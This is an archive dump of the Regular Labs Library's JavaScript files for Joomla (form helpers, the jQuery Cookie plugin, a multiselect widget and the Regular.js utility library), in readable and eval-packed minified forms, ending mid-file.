const $target = $(this);
const jsonData = $target.data('showon') || [];
// Collect an all referenced elements
for (let i = 0, len = jsonData.length; i < len; i++) {
fieldIDs.push(`[name="${jsonData[i]['field']}"]`);
fieldIDs.push(`[name="${jsonData[i]['field']}[]"]`);
}
});
// Trigger the change event on keyup
$(fieldIDs.join(',')).on('input', function() {
$(this).change();
});
}
});
})(jQuery);
}
js/form.min.js000064400000006252151165506420007255 0ustar00/*
* Copyright © 2020 Regular Labs - All Rights Reserved
* License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
eval(function(r,e,g,l,a,b){a=function(c){return(c<e?'':a(parseInt(c/e)))+((c=c%e)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(g--){b[a(g)]=l[g]||a(g)}l=[function(a){return
b[a]}];a=function(){return'\\w+'};g=1};while(g--){if(l[g]){r=r.replace(new
RegExp('\\b'+a(g)+'\\b','g'),l[g])}}return
r}('"1V 1s";6(W 1a.w===\'X\'||W
w.R===\'X\'||w.R<\'[19]\'){(3($){1a.w={R:\'[19]\',1y:3(9,j){D
$d=$(`[9="${9}"]`);6(!$d.o){$d=$(`[9="${9}[]"]`)}6(!$d.o){a}8
T=$d[0].T;1C(T){q\'1q\':$d=$(`[9="${9}"]:h`);1t;q\'C\':a
c.L($(`[9="${9}[]"]:h`),j);q\'A\':q\'A-1x\':q\'A-1n\':a
c.L($d.1z(\'1r:h\'),j)}a c.K($d.x(),j)},L:3($11,j){8 18=c;8
O=[];$11.k(3(){O.S(18.K($(c).x(),j))});a
O},K:3(5,j){6(!1w(5)&&5.1B(\'.\')<0){a
1A(5)}6(j){5=5.Q(/"/g,\'\\\\"\')}a 5.p()},1v:3(E){a
E.10().Q(/^[\\s-]*/,\'\').p()},1o:3(E){a
E.10().1p().Q(/[^0-1u-z]/g,\'\').p()},1E:3(7,5){5=5?1:0;8
Y=`f#22${7}${5},f#1W${7}${5},f#27${7}${5}`;y.26(Y).k(3(4){4.V()})},25:3(7,e){$(`#${7}`).m(\'h\',c.J(e));$(`f.${e}`).V(3(){$(`#${7}`).m(\'h\',c.J(e))})},J:3(e){a
$(`f.${e}:C:24(:h)`).o<1},21:3(C,e){8
M=c.J(e);$(C).m(\'h\',!M);$(`f.${e}`).m(\'h\',!M)},20:3(7){8
4=y.1Z(`#${7}`);6(4&&4.v){12(D
i=0;i<4.v.o;i++){6(!4.v[i].1Y){4.v[i].14=!4.v[i].14}}}},1X:3(7,N,l){8
b=$(`#${7}`);D
t=b.x().p();6(t&&l){l=l==\'23\'?\'\':`\\n\\n${l}`;t=`${l}\\n\\n${t}`}b.x(`${N}${t}`);c.1k(7,N.o)},1k:3(7,B){8
b=y.1U(7);6(b.1m){b.1T();b.1m(B,B);b.1g=0;a}6(b.1l){1S
P=b.1l();P.1R(\'1Q\',B);P.A();b.1g=0}},1P:3(f,5){8
4=$(f).u().u().u().u();4.1f(\'H-1h\').1f(\'H-1e\');6(5===2){4.1b(\'H-1e\')}1O
6(5){4.1b(\'H-1h\')}}};$(y).1N(3(){1i();17();3
1i(){$(\'r.G-U >
r\').k(3(i,4){6($(4).1j().p()==\'\'&&($(4).m(\'1d\')==\'G-1M\'||$(4).m(\'1d\')==\'1L\')){$(4).1c()}});$(\'r.G-U\').k(3(i,4){6($(4).1j().p()==\'\'){$(4).1c()}});$(\'r.G-U
> r.1K\').k(3(i,4){$(4).u().1J(\'1I\',0)})}3 17(){8
F=[];$(\'[15-13]\').k(3(){8 $16=$(c);8
I=$16.15(\'13\')||[];12(D
i=0,Z=I.o;i<Z;i++){F.S(`[9="${I[i][\'d\']}"]`);F.S(`[9="${I[i][\'d\']}[]"]`)}});$(F.1H(\',\')).1G(\'f\',3(){$(c).1F()})}})})(1D)}',62,132,'|||function|el|value|if|id|const|name|return|textarea|this|field|classname|input||checked||escape|each|separator|attr||length|trim|case|div||originalContent|parent|options|RegularLabsForm|val|document||select|position|checkbox|let|str|fieldIDs|control|alert|jsonData|allChecked|prepareValue|getValuesFromList|allchecked|content|values|range|replace|version|push|type|group|click|typeof|undefined|selector|len|toString|elements|for|showon|selected|data|target|addShowOnTriggers|self|LIB_VERSION|window|addClass|remove|class|error|removeClass|scrollTop|success|removeEmptyControlGroups|html|moveCursorInTextareaTo|createTextRange|setSelectionRange|multiple|toSimpleValue|toLowerCase|radio|option|strict|break|9a|toTextValue|isNaN|one|getValue|find|parseInt|indexOf|switch|jQuery|setRadio|change|on|join|margin|css|hide|controls|label|ready|else|setToggleTitleClass|character|moveStart|var|focus|getElementById|use|jform_params_|prependTextarea|disabled|getElement|toggleSelectListSelection|checkAll|jform_|none|not|initCheckAlls|getElements|advancedparams_'.split('|'),0,{}))js/jquery.cookie.js000064400000006115151165506420010315
0ustar00/*!
* jQuery Cookie Plugin v1.4.1
* https://github.com/carhartl/jquery-cookie
*
* Copyright 2006, 2014 Klaus Hartl
* Released under the MIT license
*/
(function(factory) {
if (typeof define === 'function' && define.amd) {
// AMD (Register as an anonymous module)
define(['jquery'], factory);
} else if (typeof exports === 'object') {
// Node/CommonJS
module.exports = factory(require('jquery'));
} else {
// Browser globals
factory(jQuery);
}
}(function($) {
var pluses = /\+/g;
function encode(s) {
return config.raw ? s : encodeURIComponent(s);
}
function decode(s) {
return config.raw ? s : decodeURIComponent(s);
}
function stringifyCookieValue(value) {
return encode(config.json ? JSON.stringify(value) : String(value));
}
function parseCookieValue(s) {
if (s.indexOf('"') === 0) {
// This is a quoted cookie as according to RFC2068, unescape...
s = s.slice(1, -1).replace(/\\"/g,
'"').replace(/\\\\/g, '\\');
}
try {
// Replace server-side written pluses with spaces.
// If we can't decode the cookie, ignore it, it's unusable.
// If we can't parse the cookie, ignore it, it's unusable.
s = decodeURIComponent(s.replace(pluses, ' '));
return config.json ? JSON.parse(s) : s;
} catch (e) {
}
}
function read(s, converter) {
var value = config.raw ? s : parseCookieValue(s);
return $.isFunction(converter) ? converter(value) : value;
}
var config = $.cookie = function(key, value, options) {
// Write
if (arguments.length > 1 && !$.isFunction(value)) {
options = $.extend({}, config.defaults, options);
if (typeof options.expires === 'number') {
var days = options.expires, t = options.expires = new Date();
t.setMilliseconds(t.getMilliseconds() + days * 864e+5);
}
return (document.cookie = [
encode(key), '=', stringifyCookieValue(value),
options.expires ? '; expires=' +
options.expires.toUTCString() : '', // use expires attribute,
max-age is not supported by IE
options.path ? '; path=' + options.path : '',
options.domain ? '; domain=' + options.domain : '',
options.secure ? '; secure' : ''
].join(''));
}
// Read
var result = key ? undefined : {},
// To prevent the for loop in the first place assign an empty array
// in case there are no cookies at all. Also prevents odd result when
// calling $.cookie().
cookies = document.cookie ? document.cookie.split('; ') : [],
i = 0,
l = cookies.length;
for (; i < l; i++) {
var parts = cookies[i].split('='),
name = decode(parts.shift()),
cookie = parts.join('=');
if (key === name) {
// If second argument (value) is a function it's a converter...
result = read(cookie, value);
break;
}
// Prevent storing a cookie that we couldn't decode.
if (!key && (cookie = read(cookie)) !== undefined) {
result[name] = cookie;
}
}
return result;
};
config.defaults = {};
$.removeCookie = function(key, options) {
// Must not alter options, thus extending a fresh object...
$.cookie(key, '', $.extend({}, options, {expires: -1}));
return !$.cookie(key);
};
}));
js/jquery.cookie.min.js000064400000003414151165506420011076 0ustar00/*
* Copyright © 2020 Regular Labs - All Rights Reserved
* License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
eval(function(r,e,g,l,a,b){a=function(c){return(c<e?'':a(parseInt(c/e)))+((c=c%e)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(g--){b[a(g)]=l[g]||a(g)}l=[function(a){return
b[a]}];a=function(){return'\\w+'};g=1};while(g--){if(l[g]){r=r.replace(new
RegExp('\\b'+a(g)+'\\b','g'),l[g])}}return
r}('(6(f){b(m
v===\'6\'&&v.1c){v([\'F\'],f)}E b(m
z===\'T\'){U.z=f(V(\'F\'))}E{f(Y)}}(6($){c G=/\\+/g;6
p(s){9 7.k?s:Z(s)}6 O(s){9 7.k?s:D(s)}6 I(4){9 p(7.C?B.10(4):11(4))}6
A(s){b(s.12(\'"\')===0){s=s.13(1,-1).h(/\\\\"/g,\'"\').h(/\\\\\\\\/g,\'\\\\\')}14{s=D(s.h(G,\'
\'));9 7.C?B.1e(s):s}1d(e){}}6 r(s,q){c 4=7.k?s:A(s);9 $.y(q)?q(4):4}c
7=$.3=6(8,4,2){b(1a.J>1&&!$.y(4)){2=$.K({},7.L,2);b(m
2.a===\'18\'){c H=2.a,t=2.a=S
R();t.19(t.16()+H*X+5)}9(x.3=[p(8),\'=\',I(4),2.a?\';
a=\'+2.a.1f():\'\',2.o?\';
o=\'+2.o:\'\',2.w?\';
w=\'+2.w:\'\',2.Q?\';
Q\':\'\'].N(\'\'))}c d=8?M:{},j=x.3?x.3.P(\';
\'):[],i=0,l=j.J;1b(;i<l;i++){c
n=j[i].P(\'=\'),u=O(n.17()),3=n.N(\'=\');b(8===u){d=r(3,4);15}b(!8&&(3=r(3))!==M){d[u]=3}}9
d};7.L={};$.W=6(8,2){$.3(8,\'\',$.K({},2,{a:-1}));9!$.3(8)}}));',62,78,'||options|cookie|value||function|config|key|return|expires|if|var|result||factory||replace||cookies|raw||typeof|parts|path|encode|converter|read|||name|define|domain|document|isFunction|exports|parseCookieValue|JSON|json|decodeURIComponent|else|jquery|pluses|days|stringifyCookieValue|length|extend|defaults|undefined|join|decode|split|secure|Date|new|object|module|require|removeCookie|864e|jQuery|encodeURIComponent|stringify|String|indexOf|slice|try|break|getMilliseconds|shift|number|setMilliseconds|arguments|for|amd|catch|parse|toUTCString'.split('|'),0,{}))js/multiselect.js000064400000016547151165506420010072
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
"use strict";
if (typeof window.RegularLabsMultiSelect === 'undefined'
|| typeof RegulaRegularLabsMultiSelectrLabsForm.version ===
'undefined'
|| RegularLabsMultiSelect.version < '21.2.19653') {
(function($) {
$(document).ready(function() {
$('.rl_multiselect').each(function() {
RegularLabsMultiSelect.init($(this));
});
});
window.RegularLabsMultiSelect = {
version: '21.2.19653',
init: function(element) {
const self = this;
const controls =
element.find('div.rl_multiselect-controls');
const list = element.find('ul.rl_multiselect-ul');
const menu =
element.find('div.rl_multiselect-menu-block').html();
const maxHeight = list.css('max-height');
list.find('li').each(function() {
const $li = $(this);
const $div = $li.find('div.rl_multiselect-item:first');
// Add icons
$li.prepend('<span class="pull-left
icon-"></span>');
// Append clearfix
$div.after('<div
class="clearfix"></div>');
if (!$li.find('ul.rl_multiselect-sub').length) {
return;
}
// Add classes to Expand/Collapse icons
$li.find('span.icon-').addClass('rl_multiselect-toggle
icon-minus');
// Append drop down menu in nodes
$div.find('label:first').after(menu);
if (!$li.find('ul.rl_multiselect-sub
ul.rl_multiselect-sub').length) {
$li.find('div.rl_multiselect-menu-expand').remove();
}
});
// Takes care of the Expand/Collapse of a node
list.find('span.rl_multiselect-toggle').click(function() {
const $icon = $(this);
// Take care of parent UL
if
($icon.parent().find('ul.rl_multiselect-sub').is(':visible'))
{
$icon.removeClass('icon-minus').addClass('icon-plus');
$icon.parent().find('ul.rl_multiselect-sub').hide();
$icon.parent().find('ul.rl_multiselect-sub
span.rl_multiselect-toggle').removeClass('icon-minus').addClass('icon-plus');
return;
}
$icon.removeClass('icon-plus').addClass('icon-minus');
$icon.parent().find('ul.rl_multiselect-sub').show();
$icon.parent().find('ul.rl_multiselect-sub
span.rl_multiselect-toggle').removeClass('icon-plus').addClass('icon-minus');
});
// Takes care of the filtering
controls.find('input.rl_multiselect-filter').keyup(function()
{
const $text = $(this).val().toLowerCase();
list.find('li').each(function() {
const $li = $(this);
if ($li.text().toLowerCase().indexOf($text) < 0) {
$li.hide();
return;
}
$li.show();
});
});
// Checks all checkboxes in the list
list.find('input').on('change', function() {
self.updateCounts(this.closest('.rl_multiselect'));
});
// Checks all checkboxes in the list
controls.find('a.rl_multiselect-checkall').click(function() {
list.find('input').prop('checked', true);
self.updateCounts(this.closest('.rl_multiselect'));
});
// Unchecks all checkboxes in the list
controls.find('a.rl_multiselect-uncheckall').click(function()
{
list.find('input').prop('checked', false);
self.updateCounts(this.closest('.rl_multiselect'));
});
// Toggles all checkboxes in the list
controls.find('a.rl_multiselect-toggleall').click(function()
{
list.find('input').each(function() {
const $input = $(this);
$input.prop('checked', !$input.prop('checked'));
});
self.updateCounts(this.closest('.rl_multiselect'));
});
// Expands all sub-items in the list
controls.find('a.rl_multiselect-expandall').click(function()
{
list.find('ul.rl_multiselect-sub').show();
list.find('span.rl_multiselect-toggle').removeClass('icon-plus').addClass('icon-minus');
});
// Hides all sub-items in the list
controls.find('a.rl_multiselect-collapseall').click(function()
{
list.find('ul.rl_multiselect-sub').hide();
list.find('span.rl_multiselect-toggle').removeClass('icon-minus').addClass('icon-plus');
});
// Shows all selected items in the list
controls.find('a.rl_multiselect-showall').click(function() {
list.find('li').show();
});
// Shows all selected items in the list
controls.find('a.rl_multiselect-showselected').click(function()
{
list.find('li').each(function() {
const $li = $(this);
let $hide = true;
$li.find('input').each(function() {
if ($(this).prop('checked')) {
$hide = false;
return false;
}
});
if ($hide) {
$li.hide();
return;
}
$li.show();
});
});
// Maximizes the list
controls.find('a.rl_multiselect-maximize').click(function() {
list.css('max-height', '');
controls.find('a.rl_multiselect-maximize').hide();
controls.find('a.rl_multiselect-minimize').show();
});
// Minimizes the list
controls.find('a.rl_multiselect-minimize').click(function() {
list.css('max-height', maxHeight);
controls.find('a.rl_multiselect-minimize').hide();
controls.find('a.rl_multiselect-maximize').show();
});
// Take care of children check/uncheck all
element.find('a.checkall').click(function() {
const $parent =
$(this).parent().parent().parent().parent().parent().parent();
$parent.find('ul.rl_multiselect-sub
input').prop('checked', true);
});
element.find('a.uncheckall').click(function() {
const $parent =
$(this).parent().parent().parent().parent().parent().parent();
$parent.find('ul.rl_multiselect-sub
input').prop('checked', false);
});
// Take care of children toggle all
element.find('a.expandall').click(function() {
const $parent =
$(this).parent().parent().parent().parent().parent().parent().parent();
$parent.find('ul.rl_multiselect-sub').show();
$parent.find('ul.rl_multiselect-sub
span.rl_multiselect-toggle').removeClass('icon-plus').addClass('icon-minus');
});
element.find('a.collapseall').click(function() {
const $parent =
$(this).parent().parent().parent().parent().parent().parent().parent();
$parent.find('li ul.rl_multiselect-sub').hide();
$parent.find('li
span.rl_multiselect-toggle').removeClass('icon-minus').addClass('icon-plus');
});
element.find('div.rl_multiselect-item.hidechildren').click(function()
{
const $parent = $(this).parent();
$(this).find('input').each(function() {
const $sub =
$parent.find('ul.rl_multiselect-sub').first();
const $input = $(this);
if ($input.prop('checked')) {
$parent.find('span.rl_multiselect-toggle,
div.rl_multiselect-menu').css('visibility',
'hidden');
if (!$sub.parent().hasClass('hidelist')) {
$sub.wrap('<div style="display:none;"
class="hidelist"></div>');
}
return;
}
$parent.find('span.rl_multiselect-toggle,
div.rl_multiselect-menu').css('visibility',
'visible');
if ($sub.parent().hasClass('hidelist')) {
$sub.unwrap();
}
});
});
},
updateCounts: function(container) {
$(container).find('.rl_multiselect-count-selected').html(
$(container).find('ul.rl_multiselect-ul
input:checked').length
);
}
};
})(jQuery);
}
js/multiselect.min.js000064400000006744151165506420010652 0ustar00/*
* Copyright © 2020 Regular Labs - All Rights Reserved
* License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
eval(function(r,e,g,l,a,b){a=function(c){return(c<e?'':a(parseInt(c/e)))+((c=c%e)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(g--){b[a(g)]=l[g]||a(g)}l=[function(a){return
b[a]}];a=function(){return'\\w+'};g=1};while(g--){if(l[g]){r=r.replace(new
RegExp('\\b'+a(g)+'\\b','g'),l[g])}}return
r}('"1i 1g";k(12 14.B===\'S\'||12
1f.C===\'S\'||B.C<\'[Q]\'){(4($){$(1e).1d(4(){$(\'.2\').t(4(){B.P($(8))})});14.B={C:\'[Q]\',P:4(l){b
w=8;b d=l.1(\'g.2-d\');b c=l.1(\'9.2-9\');b
u=l.1(\'g.2-u-1b\').T();b
R=c.y(\'F-G\');c.1(\'7\').t(4(){b $7=$(8);b
$g=$7.1(\'g.2-X:N\');$7.1a(\'<h L="17-18
5-"></h>\');$g.Z(\'<g
L="15"></g>\');k(!$7.1(\'9.2-6\').K){v}$7.1(\'h.5-\').o(\'2-j
5-m\');$g.1(\'16:N\').Z(u);k(!$7.1(\'9.2-6
9.2-6\').K){$7.1(\'g.2-u-1h\').1c()}});c.1(\'h.2-j\').e(4(){b
$5=$(8);k($5.3().1(\'9.2-6\').1j(\':13\')){$5.r(\'5-m\').o(\'5-s\');$5.3().1(\'9.2-6\').i();$5.3().1(\'9.2-6
h.2-j\').r(\'5-m\').o(\'5-s\');v}$5.r(\'5-s\').o(\'5-m\');$5.3().1(\'9.2-6\').p();$5.3().1(\'9.2-6
h.2-j\').r(\'5-s\').o(\'5-m\')});d.1(\'f.2-1u\').1C(4(){b
$M=$(8).1B().U();c.1(\'7\').t(4(){b
$7=$(8);k($7.M().U().1A($M)<0){$7.i();v}$7.p()})});c.1(\'f\').1z(\'1y\',4(){w.x(8.z(\'.2\'))});d.1(\'a.2-O\').e(4(){c.1(\'f\').q(\'n\',J);w.x(8.z(\'.2\'))});d.1(\'a.2-W\').e(4(){c.1(\'f\').q(\'n\',A);w.x(8.z(\'.2\'))});d.1(\'a.2-1x\').e(4(){c.1(\'f\').t(4(){b
$f=$(8);$f.q(\'n\',!$f.q(\'n\'))});w.x(8.z(\'.2\'))});d.1(\'a.2-Y\').e(4(){c.1(\'9.2-6\').p();c.1(\'h.2-j\').r(\'5-s\').o(\'5-m\')});d.1(\'a.2-11\').e(4(){c.1(\'9.2-6\').i();c.1(\'h.2-j\').r(\'5-m\').o(\'5-s\')});d.1(\'a.2-1w\').e(4(){c.1(\'7\').p()});d.1(\'a.2-1v\').e(4(){c.1(\'7\').t(4(){b
$7=$(8);1t
$i=J;$7.1(\'f\').t(4(){k($(8).q(\'n\')){$i=A;v
A}});k($i){$7.i();v}$7.p()})});d.1(\'a.2-I\').e(4(){c.y(\'F-G\',\'\');d.1(\'a.2-I\').i();d.1(\'a.2-H\').p()});d.1(\'a.2-H\').e(4(){c.y(\'F-G\',R);d.1(\'a.2-H\').i();d.1(\'a.2-I\').p()});l.1(\'a.O\').e(4(){b
$3=$(8).3().3().3().3().3().3();$3.1(\'9.2-6
f\').q(\'n\',J)});l.1(\'a.W\').e(4(){b
$3=$(8).3().3().3().3().3().3();$3.1(\'9.2-6
f\').q(\'n\',A)});l.1(\'a.Y\').e(4(){b
$3=$(8).3().3().3().3().3().3().3();$3.1(\'9.2-6\').p();$3.1(\'9.2-6
h.2-j\').r(\'5-s\').o(\'5-m\')});l.1(\'a.11\').e(4(){b
$3=$(8).3().3().3().3().3().3().3();$3.1(\'7
9.2-6\').i();$3.1(\'7
h.2-j\').r(\'5-m\').o(\'5-s\')});l.1(\'g.2-X.1k\').e(4(){b
$3=$(8).3();$(8).1(\'f\').t(4(){b
$6=$3.1(\'9.2-6\').N();b
$f=$(8);k($f.q(\'n\')){$3.1(\'h.2-j,
g.2-u\').y(\'10\',\'1s\');k(!$6.3().V(\'D\')){$6.1r(\'<g
1q="1p:1o;"
L="D"></g>\')}v}$3.1(\'h.2-j,
g.2-u\').y(\'10\',\'13\');k($6.3().V(\'D\')){$6.1n()}})})},x:4(E){$(E).1(\'.2-1m-1l\').T($(E).1(\'9.2-9
f:n\').K)}}})(19)}',62,101,'|find|rl_multiselect|parent|function|icon|sub|li|this|ul||const|list|controls|click|input|div|span|hide|toggle|if|element|minus|checked|addClass|show|prop|removeClass|plus|each|menu|return|self|updateCounts|css|closest|false|RegularLabsMultiSelect|version|hidelist|container|max|height|minimize|maximize|true|length|class|text|first|checkall|init|LIB_VERSION|maxHeight|undefined|html|toLowerCase|hasClass|uncheckall|item|expandall|after|visibility|collapseall|typeof|visible|window|clearfix|label|pull|left|jQuery|prepend|block|remove|ready|document|RegulaRegularLabsMultiSelectrLabsForm|strict|expand|use|is|hidechildren|selected|count|unwrap|none|display|style|wrap|hidden|let|filter|showselected|showall|toggleall|change|on|indexOf|val|keyup'.split('|'),0,{}))js/regular.js000064400000026411151165506420007170
0ustar00/**
* @package Regular.js
* @description A light and simple JavaScript Library
*
* @author Peter van Westen <info@regularlabs.com>
* @link https://github.com/regularlabs/regularjs
* @copyright Copyright © 2019 Regular Labs - All Rights Reserved
* @license
https://github.com/regularlabs/regularjs/blob/master/LICENCE MIT
*/
"use strict";
if (typeof window.Regular === 'undefined'
|| typeof Regular.version === 'undefined'
|| Regular.version < 1.3) {
window.Regular = new function() {
/**
*
* PUBLIC PROPERTIES
*
*/
this.version = 1.3;
/**
*
* PUBLIC METHODS
*
*/
/**
* Sets a global alias for the Regular class.
*
* @param word A string (character or word) representing the alias for
the Regular class.
*
* @return boolean
*/
this.alias = function(word) {
if (typeof window[word] !== 'undefined') {
console.error(`Cannot set '${word}' as am alias of Regular,
as it already exists.`);
return false;
}
window[word] = $;
return true;
};
/**
* Returns a boolean based on whether the element contains one or more of
the given class names.
*
* @param selector A CSS selector string or a HTMLElement object.
* @param classes A string or array of class names.
* @param matchAll Optional boolean whether the element should have all
given classes (true) or at least one (false).
*
* @return boolean
*/
this.hasClasses = function(selector, classes, matchAll = true) {
if (!selector) {
return false;
}
const element = typeof selector === 'string'
? document.querySelectorAll(selector)
: selector;
if (typeof classes === 'string') {
classes = classes.split(' ');
}
let hasClass = false;
for (const clss of classes) {
hasClass = element.classList.contains(clss);
if (matchAll && !hasClass) {
return false;
}
if (!matchAll && hasClass) {
return true;
}
}
return hasClass;
};
/**
* Adds given class name(s) to the element(s).
*
* @param selector A CSS selector string, a HTMLElement object or a
collection of HTMLElement objects.
* @param classes A string or array of class names.
*/
this.addClasses = function(selector, classes) {
doClasses('add', selector, classes);
};
/**
* Removes given class name(s) from the element(s).
*
* @param selector A CSS selector string, a HTMLElement object or a
collection of HTMLElement objects.
* @param classes A string or array of class names.
*/
this.removeClasses = function(selector, classes) {
doClasses('remove', selector, classes);
};
/**
* Toggles given class name(s) of the element(s).
*
* @param selector A CSS selector string, a HTMLElement object or a
collection of HTMLElement objects.
* @param classes A string or array of class names.
*/
this.toggleClasses = function(selector, classes) {
doClasses('toggle', selector, classes);
};
/**
* Shows the given element(s) (changes opacity and display attributes).
*
* @param selector A CSS selector string, a HTMLElement object or a
collection of HTMLElement objects.
*/
this.show = function(selector) {
if (!selector) {
return;
}
const element = typeof selector === 'string'
? document.querySelectorAll(selector)
: selector;
if ('forEach' in element) {
element.forEach(subElement => $.show(subElement));
return;
}
let computedDisplay = getComputedStyle(element, 'display');
if (!('origDisplay' in element)) {
element.origDisplay = computedDisplay === 'none'
? getDefaultComputedStyle(element, 'display')
: computedDisplay;
}
if (computedDisplay === 'none') {
element.style.display = ('origDisplay' in element) ?
element.origDisplay : '';
}
computedDisplay = getComputedStyle(element, 'display');
if (computedDisplay === 'none') {
element.style.display = 'block';
}
element.style.visibility = 'visible';
element.style.opacity = 1;
};
/**
* Hides the given element(s) (changes opacity and display attributes).
*
* @param selector A CSS selector string, a HTMLElement object or a
collection of HTMLElement objects.
*/
this.hide = function(selector) {
if (!selector) {
return;
}
const element = typeof selector === 'string'
? document.querySelectorAll(selector)
: selector;
if ('forEach' in element) {
element.forEach(subElement => $.hide(subElement));
return;
}
const computedDisplay = getComputedStyle(element, 'display');
if (computedDisplay !== 'none' &&
!('origDisplay' in element)) {
element.origDisplay = computedDisplay;
}
element.style.display = 'none';
element.style.visibility = 'hidden';
element.style.opacity = 0;
};
/**
* Fades in the the given element(s).
*
* @param selector A CSS selector string, a HTMLElement object or a
collection of HTMLElement objects.
* @param duration Optional duration of the effect in milliseconds.
* @param oncomplete Optional callback function to execute when effect
is completed.
*/
this.fadeIn = function(selector, duration = 250, oncomplete) {
if (!selector) {
return;
}
const element = typeof selector === 'string'
? document.querySelectorAll(selector)
: selector;
if ('forEach' in element) {
element.forEach(subElement => $.fadeIn(subElement, duration,
oncomplete));
return;
}
element.setAttribute('data-fading', 'in');
const wait = 50; // amount of time between steps
const nr_of_steps = duration / wait;
const change = 1 / nr_of_steps; // time to wait before next step
element.style.opacity = getComputedStyle(element, 'opacity');
if (!element.style.opacity) {
element.style.opacity = 0;
}
if (element.style.display === 'none') {
element.style.display = 'block';
}
element.style.visibility = 'visible';
(function fade() {
if (element.getAttribute('data-fading') === 'out')
{
return;
}
const new_opacity = parseFloat(element.style.opacity) + change;
if (new_opacity >= 1) {
$.show(element);
element.setAttribute('data-fading', '');
if (oncomplete) {
oncomplete.call(element);
}
return;
}
element.style.opacity = new_opacity;
setTimeout(function() {
fade.call();
}, wait);
})();
};
/**
* Fades out the the given element(s).
*
* @param selector A CSS selector string, a HTMLElement object or a
collection of HTMLElement objects.
* @param duration Optional duration of the effect in milliseconds.
* @param oncomplete Optional callback function to execute when effect
is completed.
*/
this.fadeOut = function(selector, duration = 250, oncomplete) {
if (!selector) {
return;
}
const element = typeof selector === 'string'
? document.querySelectorAll(selector)
: selector;
if ('forEach' in element) {
element.forEach(subElement => $.fadeOut(subElement, duration,
oncomplete));
return;
}
element.setAttribute('data-fading', 'out');
const wait = 50; // amount of time between steps
const nr_of_steps = duration / wait;
const change = 1 / nr_of_steps; // time to wait before next step
element.style.opacity = getComputedStyle(element, 'opacity');
(function fade() {
if (element.getAttribute('data-fading') === 'in') {
return;
}
const new_opacity = parseFloat(element.style.opacity) - change;
if (element.style.opacity <= 0) {
$.hide(element);
element.setAttribute('data-fading', '');
if (oncomplete) {
oncomplete.call(element);
}
return;
}
element.style.opacity = new_opacity;
setTimeout(function() {
fade.call();
}, wait);
})();
};
/**
* Runs a function when the document is loaded (on ready state).
*
* @param func Callback function to execute when document is ready.
*/
this.onReady = function(func) {
document.addEventListener('DOMContentLoaded', func);
};
/**
* Converts a string with HTML code to 'DOM' elements.
*
* @param html String with HTML code.
*
* @return element
*/
this.createElementFromHTML = function(html) {
return document.createRange().createContextualFragment(html);
};
/**
* Loads a url with optional POST data and optionally calls a function on
success or fail.
*
* @param url String containing the url to load.
* @param data Optional string representing the POST data to send
along.
* @param success Optional callback function to execute when the url
loads successfully (status 200).
* @param fail Optional callback function to execute when the url
fails to load.
*/
this.loadUrl = function(url, data, success, fail) {
const request = new XMLHttpRequest();
request.open("POST", url, true);
request.setRequestHeader('Content-type',
'application/x-www-form-urlencoded');
request.onreadystatechange = function() {
if (this.readyState !== 4) {
return;
}
if (this.status === 200) {
success && success.call(null, this.responseText, this.status,
this);
return;
}
fail && fail.call(null, this.responseText, this.status, this);
};
request.send(data);
};
/**
*
* ALIASES
*
*/
this.as = this.alias;
this.hasClass = this.hasClasses;
this.addClass = this.addClasses;
this.removeClass = this.removeClasses;
this.toggleClass = this.toggleClasses;
/**
*
* PRIVATE FUNCTIONS
*
*/
/**
* Executes an action on the element(s) to add/remove/toggle classes.
*
* @param action A string that identifies the action:
add|remove|toggle.
* @param selector A CSS selector string, a HTMLElement object or a
collection of HTMLElement objects.
* @param classes A string or array of class names.
*/
const doClasses = function(action, selector, classes) {
if (!selector) {
return;
}
const element = typeof selector === 'string'
? document.querySelectorAll(selector)
: selector;
if ('forEach' in element) {
element.forEach(subElement => doClasses(action, subElement,
classes));
return;
}
if (typeof classes === 'string') {
classes = classes.split(' ');
}
element.classList[action](...classes);
};
/**
* Finds the computed style of an element.
*
* @param element A HTMLElement object.
* @param property The style property that needs to be returned.
*
* @returns mixed
*/
const getComputedStyle = function(element, property) {
if (!element) {
return null;
}
return window.getComputedStyle(element).getPropertyValue(property);
};
/**
* Finds the default computed style of an element by its type.
*
* @param element A HTMLElement object.
* @param property The style property that needs to be returned.
*
* @returns mixed
*/
const getDefaultComputedStyle = function(element, property) {
if (!element) {
return null;
}
const defaultElement = document.createElement(element.nodeName);
document.body.append(defaultElement);
let propertyValue =
window.getComputedStyle(defaultElement).getPropertyValue(property);
defaultElement.remove();
return propertyValue;
};
/**
*
* PRIVATE VARIABLES
*
*/
/**
* @param $ internal shorthand for the 'this' keyword.
*/
const $ = this;
};
}
js/regular.min.js000064400000006715151165506420007757 0ustar00/*
* Regular.js - A light and simple JavaScript Library
* Copyright © 2020 Regular Labs - All Rights Reserved
* License https://github.com/regularlabs/regularjs/blob/master/LICENCE MIT
*/
eval(function(r,e,g,l,a,b){a=function(c){return(c<e?'':a(parseInt(c/e)))+((c=c%e)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(g--){b[a(g)]=l[g]||a(g)}l=[function(a){return
b[a]}];a=function(){return'\\w+'};g=1};while(g--){if(l[g]){r=r.replace(new
RegExp('\\b'+a(g)+'\\b','g'),l[g])}}return
r}('"1G 1u";6(e y.B===\'X\'||e
B.Z===\'X\'||B.Z<1.3){y.B=1i a(){7.Z=1.3;7.U=a(E){6(e
y[E]!==\'X\'){1r.1x(`1t 1z\'${E}\'T 1E U 1j B,T 1D 1C
1B.`);8 F}y[E]=$;8 G};7.1l=a(5,c,O=G){6(!5){8 F}9 2=e
5===\'o\'?i.p(5):5;6(e c===\'o\'){c=c.11(\'
\')}Y t=F;1A(9 1k 1j c){t=2.13.1y(1k);6(O&&!t){8
F}6(!O&&t){8 G}}8
t};7.1n=a(5,c){z(\'1v\',5,c)};7.17=a(5,c){z(\'1b\',5,c)};7.10=a(5,c){z(\'1s\',5,c)};7.N=a(5){6(!5){8}9
